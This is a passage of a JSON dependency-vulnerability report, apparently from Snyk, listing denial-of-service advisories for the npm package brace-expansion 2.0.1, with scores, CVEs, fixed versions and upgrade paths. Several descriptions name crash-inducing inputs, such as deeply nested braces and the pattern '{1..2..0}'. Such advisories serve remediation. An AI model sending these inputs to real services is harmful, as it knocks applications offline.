"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
